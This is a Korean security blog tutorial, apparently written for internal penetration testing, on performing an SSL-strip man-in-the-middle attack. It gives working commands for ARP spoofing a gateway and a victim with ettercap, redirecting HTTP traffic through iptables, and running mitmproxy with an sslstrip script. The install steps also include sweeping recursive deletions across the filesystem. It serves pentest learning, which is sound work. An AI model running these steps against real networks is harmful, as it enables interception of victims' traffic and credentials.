Information Security/General Technique

MITM Proxy SSL Strip 공격

hackcatml 2020. 2. 19. 19:29
반응형

내부에서 진단을 수행할 경우 유용하게 쓰일 듯함

SSLstrip 공격 관련하여 여러가지 조합을 사용해본 결과 개인적으로 효과 면에서 다음이 성립하는 듯함
ettercap + mitmproxy + sslstrip.py >> bettercap sslstrip >> arpspoof + sslstrip

칼리에 기본 내장되어 있는 arpspoof, sslstrip 툴을 이용할 경우 대형 포털의 경우 안되는 게 이해되지만, 들어본적도 없는 웹사이트에 대해서도 안되는 경우가 허다함

bettercap의 경우 위의 조합보다는 조금 양호함. 그러나, http로 redirection된 웹페이지가 렌더링이 깨지는 경우가 많음

■설치 및 공격 수행
- mitmproxy 툴 설치:
https://github.com/mitmproxy/mitmproxy/releases

- Ettercap 설치:
내장 ettercap의 경우 최신 칼리(2019.04)에서 작동 안함
재설치 필요

// 기존 ettercap 제거
apt-get remove ettercap-common ettercap-graphical
apt-get purge --auto-remove ettercap
find / -name 'libettercap*' -exec rm -rf {} \;
find / -name '*ettercap*' -exec rm -rf {} \;

// 종속성 설치
apt-get install debhelper bison check cmake flex groff libbsd-dev \
libcurl4-openssl-dev libgeoip-dev libgtk-3-dev libltdl-dev libluajit-5.1-dev \
libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev

// ettercap 설치
git clone https://github.com/Ettercap/ettercap.git

cd ettercap
mkdir build
cd build
cmake ..
make install

- sslstrip.py 설치:
이 툴은 칼리에 기본내장되어 있는 sslstrip 툴과 같은 것 아님.
https://github.com/mitmproxy/mitmproxy/tree/master/examples/complex
위 URL에서 코드 복사하여 vi 편집기로 sslstrip.py 파일 생성

sslstrip.py
0.00MB



- 공격:
// 패킷 흐름을 mitmproxy로 보내기 위한 iptables 설정
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080

// wlan0 인터페이스를 사용하여 192.168.1.1(gateway)와 192.168.1.125(victim) 에 대하여 arpspoof 공격 수행

ettercap -Tq -M arp:remote -i wlan0 /192.168.1.1/255.255.255.0/ /192.168.1.125/255.255.255.0/

// mitmproxy 툴 실행
./mitmdump -s sslstrip.py -m transparent

이제 victim pc나 모바일에서 https 웹사이트로 접속하면 쾌적하게 http로 바뀜
(대형 웹사이트들은 기본적으로 hsts 헤더를 설정해 놓았기 때문에 안됨)


※SSL Strip 공격이 된다고 해서 반드시 보안에 취약한 것음 아님

중요정보가 전송되는 구간(로그인, 결제정보 등) 에 암호화 연결이 강제 되어 있거나 클라이언트 데이터를 암호화하여 전송한다면 SSL Strip만으로는 알아낼 수 있는 정보가 제한적임

반응형